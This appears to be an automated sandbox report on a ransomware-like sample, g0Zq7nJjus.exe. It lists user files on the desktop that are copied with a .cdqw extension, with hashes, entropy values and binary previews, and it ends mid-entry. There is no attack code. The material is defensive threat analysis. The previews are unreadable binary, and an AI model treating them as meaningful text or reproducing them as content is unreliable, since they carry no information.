SSDEEP:	24:nsst2cWa+HBC/mc7pn/7xXfmAyZlGKAuqjBCOKTkxXSrfam/Snp1HV2bD:nNwa8Wmc7pn9vdyZlG9Ak0rfaDnqD
MD5:	C548EAB5A754333D72E2A30E1C43E801
SHA1:	F4985C76048130B4BF3C458A31424877BDEEEC3F
SHA-256:	9B35AA2956129067E4CB467A6026EB7C9D0B29D07F061377C4DAFBF33EB0D164
SHA-512:	E5A5AEF19BA5770287AAC2BA7E833E669F692471B40CE6627A0580A927AE139A37152FDC9180C6EE1C977FEBEAED093FB8E8474C6D25E50348ECEE100F3F34C9
Malicious:	false
Preview:	ZQIXM..h.=.f.....5.&.....Y..e........xM.......H.y..y...u.oZ....n..38.-.3....X..{.YQ.....7..qU.......(..'MQ....I...lwJ..{r.$.....[..=<&.\|.]......D.s....VsE.C..^...k=.G5KM.u..s.Oy../3._..;.\....=~DcQ.6E.a:...6D/..M..I..HfA....[.c:..{.gd.h..fl..Y..Dh.B..ux....-..x......"K..}...KZ.N-w.....:....!~.9#.8......o.b..+....J........$.v.m..c....^...D .8......).:..#..[.r....=.&J..G.M..$.o0+...2B..WP.l..'%4W.P.U.vS1.UX.o.#[..<....7_{.....48.l..Z..+.......Xm........g.....k.j_..;.#.-<8................=..#<.K.#..'.d.......zh...r...!.....1G"...'-...^.F....;E......;..I.r..mQ..VKKd.x..yp..S]..\._.(N.0\|.m....4e.A.d....6~!..w&......z...:[..9<..ryZ.p..-....S..N.......)<..._..t?.^...W3......[.k...`5..O......]!7p..G.m.S..b.#f...k.de..4z...2...>:...\|.\|./^....+....l].,+..].....w.. !....g..;...v.4.M...{.Y...y..NW..P]...&...`... .L...X..r....\S..k.w..?.E.....o6^.v.jF...vm..E.0.at.\.X.Qd...n....<..xxYC7...~..w.NB..>.+:yG.m._.C.%......._......pP9....-.)w7......

C:\Users\user\Application Data\Microsoft\Windows\Recent\ZQIXMVQGAH.xlsx.cdqw (copy)

Download File

Process:	C:\Users\user\Desktop\g0Zq7nJjus.exe
File Type:	data
Category:	dropped
Size (bytes):	1360
Entropy (8bit):	7.826555973753565
Encrypted:	false
SSDEEP:	24:1V6lBahkMivosyp0N+D2YQGBeGyfoV7U4UKS7d9sxAUQV9Z2bD:f6lBpHFyp0wRQeOYqd9sxAU8wD
MD5:	37E2F9F257C6E61596073F5344DFE768
SHA1:	DFC442CB2D645A5F4432498086435E33387D9CB0
SHA-256:	DE47F7633B43ED9524B4F501A0E71B1EF0803E115BDF477218156E161FEE296B
SHA-512:	8C2CA56D065ACB7F11AA53D60F3C15608917D7AAA0463C2A332C9C34656DB216FD1C3BAA92FDC42B924CF240D05D0A4BD7DE2597F8AB49DD212A1F28EBDDE4AD
Malicious:	false
Preview:	ZQIXM5}X..?...4.c\|.%M....N.......k5.........q.z...%hq...8.}u./>~.q..[p......J.+i...$.1.:.AT%..'...+.HZ..>,l.u......7...KV..zM.K..N.%.MS<....g.S5.gJCY.x.-[.u...,...:..VQM.OD._[..b..Q._.u.M..nJ...\67.FB<.a.9....q0o..~=QZ...ba.fg...l'..7..+....$N.x?.M.......8.Ef(.u=.i.^W\...w...k._4.Aau.4...Ge.2.;.D..N......\|.z.r....{..z.?;0+d.is...x...V...l..Qg.k.p.....a)n.sg.j....O..%..K.N.!.`...k0...._..bE%W.....>.=...c."r.T.x..(5.!v.AG@..v.T.B,....`.R......\-......vy.e..<.S......\..Q .).&..d....4R,..&G..X..=e.(.-.......<).$..<.V.t.p=....{#..<....o...F.<(..!...g....Y.W.XY:.!?..OVYGWm.(z.TQZ..(}..H/.J.n.d.g_28..6c..Mt.ue.;.........+...e.i..B7..<285..G.....L.....;...v.R....n .....'.RbF....C...f..K`.i.B].+....R....z...M_..mp.(.............m9...Va@q..$"0....8P.x..a...tJ..^.4t^.[...a../....?....6u.,L.NL..s.>.......&.....0_.C.B.40. .;......#.....\A&.W.S.c.=..o.!.....M..g....R..A/.]].%..h.Y......".}...,.b..J..Zy.VH..n..U@.z..!d.Y..Nb..x._.K.d.bZ\|..K..u.....;F....Q..<

C:\Users\user\Desktop\DUUDTUBZFW.png

Download File

Process:	C:\Users\user\AppData\Local\80bf39e1-a21a-4a91-b607-996b8b0440e3\g0Zq7nJjus.exe
File Type:	data
Category:	dropped
Size (bytes):	1360
Entropy (8bit):	7.861464897916001
Encrypted:	false
SSDEEP:	24:1CryYn2Qt9ZrtOCvSBB6MUr3Q9YTU1Llxuagj5GtzO9ZGrUGy2bD:1Cr/n2aLtFv5LriYYA/YekFJD
MD5:	3CB6631EB5CBA8A61ACF88BB028F4D8B
SHA1:	94435E84327B3328E9A72B51FDF20E0F2752378A
SHA-256:	410C9089926B2C3B7B1CDAB2FA24C4D688C7BD79391854371BDAC4D5A3C93359
SHA-512:	02336E1BCB05BAD2C67431E9E0BD7A06684CCA0074546FD7169202B195817C9CDCFE6A39357CA1B927EA48A8B7F7EB8A5485972D6FFA358FDDEDCBF624281072
Malicious:	false
Preview:	DUUDT.!.w.M............0...1y...\|......OH&.j.{...(S..a...e PN0rB.h>.l._.qD..i..Z..A...&..[..;R..{..J.."T.$`PZ..O..hR.&.(6[.m.1.(}.....RJ....U...d}.......O0...6L.Z.O..x.....hD...r.v.Wf......->j.v.#....I...VP...y..dg.Q..[(..[../Y.=..g.0.s@..R..>.`....;.A\|...u=....&.U.c ....S.$.w..r.\5...\|loV....%.<.......Y5....E......c..]L.......C....F....\.5..Y...u...q...!...[L.....U......v."..\|(.....\|-V..k...>.@U...O.{..G.6"tn...<AG.\Z(A@..i8O...C......G.(Fi>...I^@a..se".....{.+..06c).'..-L..a..M..f...s8...`.W.%...O#.ds{.O..m.......i.S^<.+(.8.2$...>!...D..)y/X.....T..^..A.....J.z.....Eq.u.G..j$..s?R.H.e(C../UBi...W.L..F.l..0.>.:5(._..'..{.b'w.W....8.)@....775..s.f......<v.U.g#m...o.:S.;!.....,(f...Q........T+;. j......0*.l.drR......{..Y<.b{.9p.#......1..n.o....Zx..&@J:TBV.o.R.M..9?..l._.M...TY..W.G..........B.)/..}.&.Z..g[%S4....b6.W.p~..)y....#.a.r.)..}.8....a.t."..M.@.FQ.@9.......QsX...$.t$R.4...1;.4..r..[.,@.}.Z.s$I....^....#d..).`].93.R....c{

C:\Users\user\Desktop\DUUDTUBZFW.png.cdqw (copy)

Download File

Process:	C:\Users\user\AppData\Local\80bf39e1-a21a-4a91-b607-996b8b0440e3\g0Zq7nJjus.exe
File Type:	data
Category:	dropped
Size (bytes):	1360
Entropy (8bit):	7.861464897916001
Encrypted:	false
SSDEEP:	24:1CryYn2Qt9ZrtOCvSBB6MUr3Q9YTU1Llxuagj5GtzO9ZGrUGy2bD:1Cr/n2aLtFv5LriYYA/YekFJD
MD5:	3CB6631EB5CBA8A61ACF88BB028F4D8B
SHA1:	94435E84327B3328E9A72B51FDF20E0F2752378A
SHA-256:	410C9089926B2C3B7B1CDAB2FA24C4D688C7BD79391854371BDAC4D5A3C93359
SHA-512:	02336E1BCB05BAD2C67431E9E0BD7A06684CCA0074546FD7169202B195817C9CDCFE6A39357CA1B927EA48A8B7F7EB8A5485972D6FFA358FDDEDCBF624281072
Malicious:	false
Preview:	DUUDT.!.w.M............0...1y...\|......OH&.j.{...(S..a...e PN0rB.h>.l._.qD..i..Z..A...&..[..;R..{..J.."T.$`PZ..O..hR.&.(6[.m.1.(}.....RJ....U...d}.......O0...6L.Z.O..x.....hD...r.v.Wf......->j.v.#....I...VP...y..dg.Q..[(..[../Y.=..g.0.s@..R..>.`....;.A\|...u=....&.U.c ....S.$.w..r.\5...\|loV....%.<.......Y5....E......c..]L.......C....F....\.5..Y...u...q...!...[L.....U......v."..\|(.....\|-V..k...>.@U...O.{..G.6"tn...<AG.\Z(A@..i8O...C......G.(Fi>...I^@a..se".....{.+..06c).'..-L..a..M..f...s8...`.W.%...O#.ds{.O..m.......i.S^<.+(.8.2$...>!...D..)y/X.....T..^..A.....J.z.....Eq.u.G..j$..s?R.H.e(C../UBi...W.L..F.l..0.>.:5(._..'..{.b'w.W....8.)@....775..s.f......<v.U.g#m...o.:S.;!.....,(f...Q........T+;. j......0*.l.drR......{..Y<.b{.9p.#......1..n.o....Zx..&@J:TBV.o.R.M..9?..l._.M...TY..W.G..........B.)/..}.&.Z..g[%S4....b6.W.p~..)y....#.a.r.)..}.8....a.t."..M.@.FQ.@9.......QsX...$.t$R.4...1;.4..r..[.,@.}.Z.s$I....^....#d..).`].93.R....c{

C:\Users\user\Desktop\EEGWXUHVUG.png

Download File

Process:	C:\Users\user\AppData\Local\80bf39e1-a21a-4a91-b607-996b8b0440e3\g0Zq7nJjus.exe
File Type:	data
Category:	dropped
Size (bytes):	1360
Entropy (8bit):	7.876038382197291
Encrypted:	false
SSDEEP:	24:JDSBkk68i2KjuubE/M20qtJuRTt8ePokTK0Wb3dSJIPvPpGd+RGoSd7M2bD:hSBeZljn4tJuF+Fk20WbtS+P0dTo0TD
MD5:	F23A3B8C951463963A6D286A8EB81B58
SHA1:	ED6826925F808019F358140D9EECDC5CEDD8DFB9
SHA-256:	62740B39196A814F1FFE976A7D9D117C937415142D97F63EEF9D9932563BA705
SHA-512:	2541B85144267D7599147A256BC93CB4A43E86F6E8A3E04FDEDA9A0EFA9A0393CD1C3B2A87B85780A301A218355CA05C2A479394F1E17B8643DEA2A8238D8731
Malicious:	false
Preview:	EEGWX.!....ga..y%.....`..;..x0..$..O.J..p.r .....F>...7.......b.=F.C...\|U...3.f.(.M..r.hb?...\.N..R.u..t..iL....i......h..L..?b......bq....}.9P>.....#90...h..o.5.2.(...I...mq.....w'..A...j......4+.=..$f.....pf.\|..u:.aF.,}\|......F.FI.Z....&>.[M.&...NR.E.LJYw..Y....!..=........C...3h.r.I....F.....Y..ri...5...!weNs...3.Ho......l..9.mu.<]Uz......3... &N.....q.]/.X.S7C!...S....O._U....;G1?h1.T....Tn...Y.#.....k{ZA..W6...8...9........aA.E..C-..Fc...P.^.)u.;...R.u.\%.vM{...w...]h...4.B.e...{...M.9..(2..c:.v.....f.N..eB/p...eV."..{".H..L....S.^?^.'.B...AHB,..4.cl/.dF;....Pi.."......K.0....s.3..v...,.Qz..@...6...^[..^..0T('.$cI..W}x.W ....QS.$._..+.G.2.H.^.t].......D..L1.L_...I..@..7/....:n..Y... "....@^....,...%.r....H..E68u....R=..8.lk'.L.-Z....~..#......eh..Gl..x..Lr.=c....1.:.h..V;.j0Yv.\|.1z... ...PC.....f\|7..Qk*.@?n@...L.S.r..9.k...7).q.2.'1".>J.]..#.@...D\|.vU.i.).M.+.@.]h.h.Z..rt........d......,. ....:.KU.....&.....>.L...

C:\Users\user\Desktop\EEGWXUHVUG.png.cdqw (copy)

Download File

Process:	C:\Users\user\AppData\Local\80bf39e1-a21a-4a91-b607-996b8b0440e3\g0Zq7nJjus.exe
File Type:	data
Category:	dropped
Size (bytes):	1360
Entropy (8bit):	7.876038382197291
Encrypted:	false
SSDEEP:	24:JDSBkk68i2KjuubE/M20qtJuRTt8ePokTK0Wb3dSJIPvPpGd+RGoSd7M2bD:hSBeZljn4tJuF+Fk20WbtS+P0dTo0TD
MD5:	F23A3B8C951463963A6D286A8EB81B58
SHA1:	ED6826925F808019F358140D9EECDC5CEDD8DFB9
SHA-256:	62740B39196A814F1FFE976A7D9D117C937415142D97F63EEF9D9932563BA705
SHA-512:	2541B85144267D7599147A256BC93CB4A43E86F6E8A3E04FDEDA9A0EFA9A0393CD1C3B2A87B85780A301A218355CA05C2A479394F1E17B8643DEA2A8238D8731
Malicious:	false
Preview:	EEGWX.!....ga..y%.....`..;..x0..$..O.J..p.r .....F>...7.......b.=F.C...\|U...3.f.(.M..r.hb?...\.N..R.u..t..iL....i......h..L..?b......bq....}.9P>.....#90...h..o.5.2.(...I...mq.....w'..A...j......4+.=..$f.....pf.\|..u:.aF.,}\|......F.FI.Z....&>.[M.&...NR.E.LJYw..Y....!..=........C...3h.r.I....F.....Y..ri...5...!weNs...3.Ho......l..9.mu.<]Uz......3... &N.....q.]/.X.S7C!...S....O._U....;G1?h1.T....Tn...Y.#.....k{ZA..W6...8...9........aA.E..C-..Fc...P.^.)u.;...R.u.\%.vM{...w...]h...4.B.e...{...M.9..(2..c:.v.....f.N..eB/p...eV."..{".H..L....S.^?^.'.B...AHB,..4.cl/.dF;....Pi.."......K.0....s.3..v...,.Qz..@...6...^[..^..0T('.$cI..W}x.W ....QS.$._..+.G.2.H.^.t].......D..L1.L_...I..@..7/....:n..Y... "....@^....,...%.r....H..E68u....R=..8.lk'.L.-Z....~..#......eh..Gl..x..Lr.=c....1.:.h..V;.j0Yv.\|.1z... ...PC.....f\|7..Qk*.@?n@...L.S.r..9.k...7).q.2.'1".>J.]..#.@...D\|.vU.i.).M.+.@.]h.h.Z..rt........d......,. ....:.KU.....&.....>.L...

C:\Users\user\Desktop\EFOYFBOLXA.jpg

Download File

Process:	C:\Users\user\AppData\Local\80bf39e1-a21a-4a91-b607-996b8b0440e3\g0Zq7nJjus.exe
File Type:	data
Category:	dropped
Size (bytes):	1360
Entropy (8bit):	7.861905248900099
Encrypted:	false
SSDEEP:	24:WazxPV9HStX0mVC8GAQv74kOayOEemklplH5DZh2bD:WazxP/q0kQskOayo1Hn6D
MD5:	638E97DF6902B9C37DF960EED2C9AF4E
SHA1:	9E3EBF7228A80854F9F1B91BD1C8D6FD845A7145
SHA-256:	444E72DA86058C40C9F61271D30E424806699FB158A265E507617616744AEBF6
SHA-512:	F0B1278D3194FAB63D4098FD6E9596850E61B9415BDE02B74BDC9EE70925635E05C55A2E2C855B52FE11036CA2DDFD31FE0828A65C5AAB8C54163F8A554F2144
Malicious:	false
Preview:	EFOYFAG..>p.q...U..z.y..\.......~At.......di..S.Vk8......W..SB.9...AR.eq....]%b.wG..Y..v..7+z..ou<...hp`!.8.c..C;^.h7...4.9..\r.....L....^..#.B..._.g<...0...M.../[......v4.......<.....X.:..".4..&...../....Y^.b@...s.3..Q..m..>.S.p.%..V. e...:>?1..4&7.7.>7...".?...@.q..X..<.J.E6?X...8)...=...r....:\|.o..-...vm.&..78..0.\|..gs..DMr...a(+a~T.....a.Iwz....WU..y.<.._.`.........L....H&.^...wi>.3o...._.....(...."Q3.._...{.Oa..`...o.UY.2#iR6f.f.x.J.vr..'rD.J...k.t.M...f.>s....X76K,..rD.l..v.@.&....._...!.rG..9.ijf .7.....=.D..U.V..hv..'...%..Ss.g.8.'.Ozq..2....-.....?n...Us.k.....l.2.....(.d).....pD........7..=..<.'l....3.......9]....70...#.O.....,.....J..jT.h......=..;.],( ..?..Mg.x0........DHo4....gI.L.e.\[..%..SU...O...e#g,...Q..........j...l\.vt..3.r...r...b.A..~\|...}..b.A...,..7vT.../..0G\|....\|..G.oOl..\|8..U...d..rl.]..!8...'Q......../..-+...^...z......Z.......e{..1$.a>..._.p...w#.@.](.......T.X9.....{D.'..\|0...M.Wz...l.".]...]A

C:\Users\user\Desktop\EFOYFBOLXA.jpg.cdqw (copy)

Download File

Process:	C:\Users\user\AppData\Local\80bf39e1-a21a-4a91-b607-996b8b0440e3\g0Zq7nJjus.exe
File Type:	data
Category:	dropped
Size (bytes):	1360
Entropy (8bit):	7.861905248900099
Encrypted:	false
SSDEEP:	24:WazxPV9HStX0mVC8GAQv74kOayOEemklplH5DZh2bD:WazxP/q0kQskOayo1Hn6D
MD5:	638E97DF6902B9C37DF960EED2C9AF4E
SHA1:	9E3EBF7228A80854F9F1B91BD1C8D6FD845A7145
SHA-256:	444E72DA86058C40C9F61271D30E424806699FB158A265E507617616744AEBF6
SHA-512:	F0B1278D3194FAB63D4098FD6E9596850E61B9415BDE02B74BDC9EE70925635E05C55A2E2C855B52FE11036CA2DDFD31FE0828A65C5AAB8C54163F8A554F2144
Malicious:	false
Preview:	EFOYFAG..>p.q...U..z.y..\.......~At.......di..S.Vk8......W..SB.9...AR.eq....]%b.wG..Y..v..7+z..ou<...hp`!.8.c..C;^.h7...4.9..\r.....L....^..#.B..._.g<...0...M.../[......v4.......<.....X.:..".4..&...../....Y^.b@...s.3..Q..m..>.S.p.%..V. e...:>?1..4&7.7.>7...".?...@.q..X..<.J.E6?X...8)...=...r....:\|.o..-...vm.&..78..0.\|..gs..DMr...a(+a~T.....a.Iwz....WU..y.<.._.`.........L....H&.^...wi>.3o...._.....(...."Q3.._...{.Oa..`...o.UY.2#iR6f.f.x.J.vr..'rD.J...k.t.M...f.>s....X76K,..rD.l..v.@.&....._...!.rG..9.ijf .7.....=.D..U.V..hv..'...%..Ss.g.8.'.Ozq..2....-.....?n...Us.k.....l.2.....(.d).....pD........7..=..<.'l....3.......9]....70...#.O.....,.....J..jT.h......=..;.],( ..?..Mg.x0........DHo4....gI.L.e.\[..%..SU...O...e#g,...Q..........j...l\.vt..3.r...r...b.A..~\|...}..b.A...,..7vT.../..0G\|....\|..G.oOl..\|8..U...d..rl.]..!8...'Q......../..-+...^...z......Z.......e{..1$.a>..._.p...w#.@.](.......T.X9.....{D.'..\|0...M.Wz...l.".]...]A

C:\Users\user\Desktop\EWZCVGNOWT.mp3

Download File

Process:	C:\Users\user\AppData\Local\80bf39e1-a21a-4a91-b607-996b8b0440e3\g0Zq7nJjus.exe
File Type:	data
Category:	dropped
Size (bytes):	1360
Entropy (8bit):	7.8427886143999395
Encrypted:	false
SSDEEP:	24:Wbqdg+NerXNXV1zSq8h6UJT0peuDAd9sYfRP4M9MOX2m7ZYk6vLwkdF7JdwmXsVw:VdHerXJxU50peuo9TP4WMOXLdCLwk8iR
MD5:	989C111E449947A83840A498115B33D7
SHA1:	CB284A7C6021C923D4006AF6E0C2B1315A6DDDEC
SHA-256:	6E8575D824949D13873FE03B39BD2D85B53A7CEA727F343AB17B61C8C9168757
SHA-512:	81FAED2A3ABADCA13BD7B05F0F206FB54B50FBD00D9EE36F6D529EF3C3B2ED9CA9BA5AC764DC7D042A9B4B79A4C093B149274912D37CB2BD01B1F8D798513F31
Malicious:	false
Preview:	EWZCV=....$.c..%RHkQ...{...a.V+..P..`b!..4...=,..K...Q.n.J"I.a.A...(&Y....m....&.....B.....>.R..{.H.w..3...A.X.]..G..mtt.,.`KO..pNE.mBu.3.B.N...%.2].7.(.Z..[...-.J.3...!X'....-...cO...S.GH)cT.....S...j....$qW.f....J.j.58/....4.!.5....Y. .A..5l...37pX0...@.Xj...v.Y)..D.=..q../ ....?"..yYa....S..a8$..J..B..Jl.6\..$.....dL.-.a..n....!.?.....I.F.9..b.1.8/.z.m..q..]...#\.....R..A.n.....5^.....y....Rs..0#D-t..."..i..7.Q.....b...,a........Q.Y4.....O..V...f_.:..zdIJ.2te%.6...i.jx. .)...o.>x.d..7M..1]...0....P....._..H}.._.......t\|.x..3......K........x.....6$.0..f..Y.v(.NQ..=!..5[.{V...K..t.=..{...l.....`.n...{.E\.........."$........5.u3....F......p..G>...1'.. Sm.C.nQ.~.......j...}..]'......ng.F.a.../F.c..?.yC.u..p...<=X....U2....,Bpsl'(t9.:U\9.:.EU.U.......UQ.).#.S.Q.Y....}.C.Y....De..=...x.i...asb.=%b...A:K\6Kfw.u.<.............EX...9!./....$........]N..(.Y..............UM..0.W(..2'j..._v...R0.v..BF*]%!.;.../U.K..Z...r. ~E..b[.+.....Y

C:\Users\user\Desktop\EWZCVGNOWT.mp3.cdqw (copy)

Download File

Process:	C:\Users\user\AppData\Local\80bf39e1-a21a-4a91-b607-996b8b0440e3\g0Zq7nJjus.exe
File Type:	data
Category:	dropped
Size (bytes):	1360
Entropy (8bit):	7.8427886143999395
Encrypted:	false
SSDEEP:	24:Wbqdg+NerXNXV1zSq8h6UJT0peuDAd9sYfRP4M9MOX2m7ZYk6vLwkdF7JdwmXsVw:VdHerXJxU50peuo9TP4WMOXLdCLwk8iR
MD5:	989C111E449947A83840A498115B33D7
SHA1:	CB284A7C6021C923D4006AF6E0C2B1315A6DDDEC
SHA-256:	6E8575D824949D13873FE03B39BD2D85B53A7CEA727F343AB17B61C8C9168757
SHA-512:	81FAED2A3ABADCA13BD7B05F0F206FB54B50FBD00D9EE36F6D529EF3C3B2ED9CA9BA5AC764DC7D042A9B4B79A4C093B149274912D37CB2BD01B1F8D798513F31
Malicious:	false
Preview:	EWZCV=....$.c..%RHkQ...{...a.V+..P..`b!..4...=,..K...Q.n.J"I.a.A...(&Y....m....&.....B.....>.R..{.H.w..3...A.X.]..G..mtt.,.`KO..pNE.mBu.3.B.N...%.2].7.(.Z..[...-.J.3...!X'....-...cO...S.GH)cT.....S...j....$qW.f....J.j.58/....4.!.5....Y. .A..5l...37pX0...@.Xj...v.Y)..D.=..q../ ....?"..yYa....S..a8$..J..B..Jl.6\..$.....dL.-.a..n....!.?.....I.F.9..b.1.8/.z.m..q..]...#\.....R..A.n.....5^.....y....Rs..0#D-t..."..i..7.Q.....b...,a........Q.Y4.....O..V...f_.:..zdIJ.2te%.6...i.jx. .)...o.>x.d..7M..1]...0....P....._..H}.._.......t\|.x..3......K........x.....6$.0..f..Y.v(.NQ..=!..5[.{V...K..t.=..{...l.....`.n...{.E\.........."$........5.u3....F......p..G>...1'.. Sm.C.nQ.~.......j...}..]'......ng.F.a.../F.c..?.yC.u..p...<=X....U2....,Bpsl'(t9.:U\9.:.EU.U.......UQ.).#.S.Q.Y....}.C.Y....De..=...x.i...asb.=%b...A:K\6Kfw.u.<.............EX...9!./....$........]N..(.Y..............UM..0.W(..2'j..._v...R0.v..BF*]%!.;.../U.K..Z...r. ~E..b[.+.....Y

C:\Users\user\Desktop\IPKGELNTQY.pdf

Download File

Process:	C:\Users\user\AppData\Local\80bf39e1-a21a-4a91-b607-996b8b0440e3\g0Zq7nJjus.exe
File Type:	data
Category:	dropped
Size (bytes):	1360
Entropy (8bit):	7.84638893360041
Encrypted:	false
SSDEEP:	24:5/1zLzzH68OZBGRdYVf6XAZ0xT3fky2KcOBNnM+TalUNXHI/xJ1q0ozagbGbgEL9:59zu8MGRWVf6XAqV3f7TlNnBoUNXoFci
MD5:	F286CB5ED52FE73798BC27DFEC2626A0
SHA1:	57B54D005C2F8AB13354CE5EB1F2E9F3053C02B7
SHA-256:	F84A5AC07E2586B5DCE57EAF8898B37F7FB06D32547987415BAF3788CFD86A68
SHA-512:	BFBCC2AB16DA234E3F93AACBBF922F4A331EE3E4A42FD8BC0ABDEB4608B0BA9ED6D10523194CA49B2B9E6DE4BEFB3D0839D67B133BF2C88FCBF06EAACE156DB5
Malicious:	false
Preview:	IPKGEer...UA.,.. .\|^.B..+..........o........XR;.<Z.3........).[1.yHca.%.W.K.~f..l.V\.C._.v.E.P....X....'.?.1V......C.}.J...).:........h...@DPx.$..........RR....D.-.....K...AW..<.\|..K...].Jr...K....z...UTOiH...Y.m-.<......q......k...xPE..4.!.-.;.g.'......(C.uo. e..6k..a....L......&\|I.,.t.o...M.n.ihw..8..y...[X...vTY..v(.2..g.........`..=....uA........ZU;XT1m<Q.c....v.?...:......?j.P...0.b.D.^X.O...e.a.^<..6.7q.t...3....Li.h])..0.......Ms..Ib.\##.z.p..?GH.E..w...7L..#.N2.J...l..xe....!....aebF.w.....)?...Y..........G_....>.?...1.I...Jb..0.'.+..(p....H.5(..O. N..!.]_`<.9..+#...$....t.}..7,...]..T...i8..C...K.<ybk.}...?..k..e..M..l.f.....C.....T.tJ)........D.X<~......+..2...d.i'......%s.....=......!.u.!u.....ti6..y........aq......Pi4.K...A..ooa...l...>..6G.-a..!q6..H._b:Y..(7.0U..m&....1..BM...F....{.>..P.M~).d..!..r..!D.........D.:....nc-.?...f$q.p@.E..>.!..WC...:(.K...\|e*,.>.(.....J...'.0...K..] K...@O..`....!...n...I...W.a~{...p.pI

C:\Users\user\Desktop\IPKGELNTQY.pdf.cdqw (copy)

Download File

Process:	C:\Users\user\AppData\Local\80bf39e1-a21a-4a91-b607-996b8b0440e3\g0Zq7nJjus.exe
File Type:	data
Category:	dropped
Size (bytes):	1360
Entropy (8bit):	7.84638893360041
Encrypted:	false
SSDEEP:	24:5/1zLzzH68OZBGRdYVf6XAZ0xT3fky2KcOBNnM+TalUNXHI/xJ1q0ozagbGbgEL9:59zu8MGRWVf6XAqV3f7TlNnBoUNXoFci
MD5:	F286CB5ED52FE73798BC27DFEC2626A0
SHA1:	57B54D005C2F8AB13354CE5EB1F2E9F3053C02B7
SHA-256:	F84A5AC07E2586B5DCE57EAF8898B37F7FB06D32547987415BAF3788CFD86A68
SHA-512:	BFBCC2AB16DA234E3F93AACBBF922F4A331EE3E4A42FD8BC0ABDEB4608B0BA9ED6D10523194CA49B2B9E6DE4BEFB3D0839D67B133BF2C88FCBF06EAACE156DB5
Malicious:	false
Preview:	IPKGEer...UA.,.. .\|^.B..+..........o........XR;.<Z.3........).[1.yHca.%.W.K.~f..l.V\.C._.v.E.P....X....'.?.1V......C.}.J...).:........h...@DPx.$..........RR....D.-.....K...AW..<.\|..K...].Jr...K....z...UTOiH...Y.m-.<......q......k...xPE..4.!.-.;.g.'......(C.uo. e..6k..a....L......&\|I.,.t.o...M.n.ihw..8..y...[X...vTY..v(.2..g.........`..=....uA........ZU;XT1m<Q.c....v.?...:......?j.P...0.b.D.^X.O...e.a.^<..6.7q.t...3....Li.h])..0.......Ms..Ib.\##.z.p..?GH.E..w...7L..#.N2.J...l..xe....!....aebF.w.....)?...Y..........G_....>.?...1.I...Jb..0.'.+..(p....H.5(..O. N..!.]_`<.9..+#...$....t.}..7,...]..T...i8..C...K.<ybk.}...?..k..e..M..l.f.....C.....T.tJ)........D.X<~......+..2...d.i'......%s.....=......!.u.!u.....ti6..y........aq......Pi4.K...A..ooa...l...>..6G.-a..!q6..H._b:Y..(7.0U..m&....1..BM...F....{.>..P.M~).d..!..r..!D.........D.:....nc-.?...f$q.p@.E..>.!..WC...:(.K...\|e*,.>.(.....J...'.0...K..] K...@O..`....!...n...I...W.a~{...p.pI

C:\Users\user\Desktop\LSBIHQFDVT.png

Download File

Process:	C:\Users\user\AppData\Local\80bf39e1-a21a-4a91-b607-996b8b0440e3\g0Zq7nJjus.exe
File Type:	data
Category:	dropped
Size (bytes):	1360
Entropy (8bit):	7.864783427514831
Encrypted:	false
SSDEEP:	24:K8z69lwrCcxCbfKiIeSRC8SygPbWzohrTrDvQKFeQYMEhyr6IXmp4XxA2bD:KhUrjxCbKle1igyzor74KFeQYMSyrHum
MD5:	341C7379EEA4BA8C143B32F944311923
SHA1:	A1B7B343DAD1FB89A70409DCFD16EEDAF0401FE7
SHA-256:	C815F6B15D1D68F62A8B246E76BFC33BB23CED75F8116672607BD2D71FDA9F71
SHA-512:	7B8AC9371881B68BC6DC73FEFC460B6E707CA33E858FA762A01E78E231233711479D1D563545A438B72D2820427E22F6C01BF2866C77B561D8A59D320E072FDF
Malicious:	false
Preview:	LSBIH>.)....Z.[....[....l{.4.5..u.n....a..vC....&..+.......'G...wi2......,.D.q(o.....8.?%.&.<.....-v/..s...U=..0.Q....f.[r.z..9c@...2...b........<F,...z..r.....]9"..>tg..)tf..vH.j.).2&ZM......?[0..M.....$....!....$L.x...+\|......h.a%.?..........F.v2%qpr.0}.5.....,.6V...b..dk._....1.(...P~.1...7...}.X..>..\u.N..U+...^"m.@_.n.W.J.q6.:..NE5...s..D....6...%J.X3:..9....Cx.zwY....a..{....n.flr.tA..NL.k...L{s..d.Q.v..-"R.]jC.O...(.......o.n.RX.n.`........&^....A8:..r~...@.w.,ZC....d.....X.X......-_.......9WT...W.il......c.Fx[....~Vv.m./.....CXK.....s5..p4..+q.4...}5`....DM./..(.....GZQ...s..C.N......$\....i.Vl..5.(....A@[.F...3...<.Ok....;....j.g1....=<...\|..{nW.#.q.7.,}.......s.Z.....-.Fs....L..n...}.....N3....."N..k.qr9.....z.../........].z..X.....f.:.DS5wV..r.A.5J.....(.....}...j..._..a.......X.'..5.n6..U\P.Hf.:.:3YC...J.M9../;Y[.p..............\H......`&..R.&..J.lSA.?M.3....B...Q...a..&.i/......../...j..\m.....ZC..J.C..k*...r.v...Z...w..W...

C:\Users\user\Desktop\LSBIHQFDVT.png.cdqw (copy)

Download File

Process:	C:\Users\user\AppData\Local\80bf39e1-a21a-4a91-b607-996b8b0440e3\g0Zq7nJjus.exe
File Type:	data
Category:	dropped
Size (bytes):	1360
Entropy (8bit):	7.864783427514831
Encrypted:	false
SSDEEP:	24:K8z69lwrCcxCbfKiIeSRC8SygPbWzohrTrDvQKFeQYMEhyr6IXmp4XxA2bD:KhUrjxCbKle1igyzor74KFeQYMSyrHum
MD5:	341C7379EEA4BA8C143B32F944311923
SHA1:	A1B7B343DAD1FB89A70409DCFD16EEDAF0401FE7
SHA-256:	C815F6B15D1D68F62A8B246E76BFC33BB23CED75F8116672607BD2D71FDA9F71
SHA-512:	7B8AC9371881B68BC6DC73FEFC460B6E707CA33E858FA762A01E78E231233711479D1D563545A438B72D2820427E22F6C01BF2866C77B561D8A59D320E072FDF
Malicious:	false
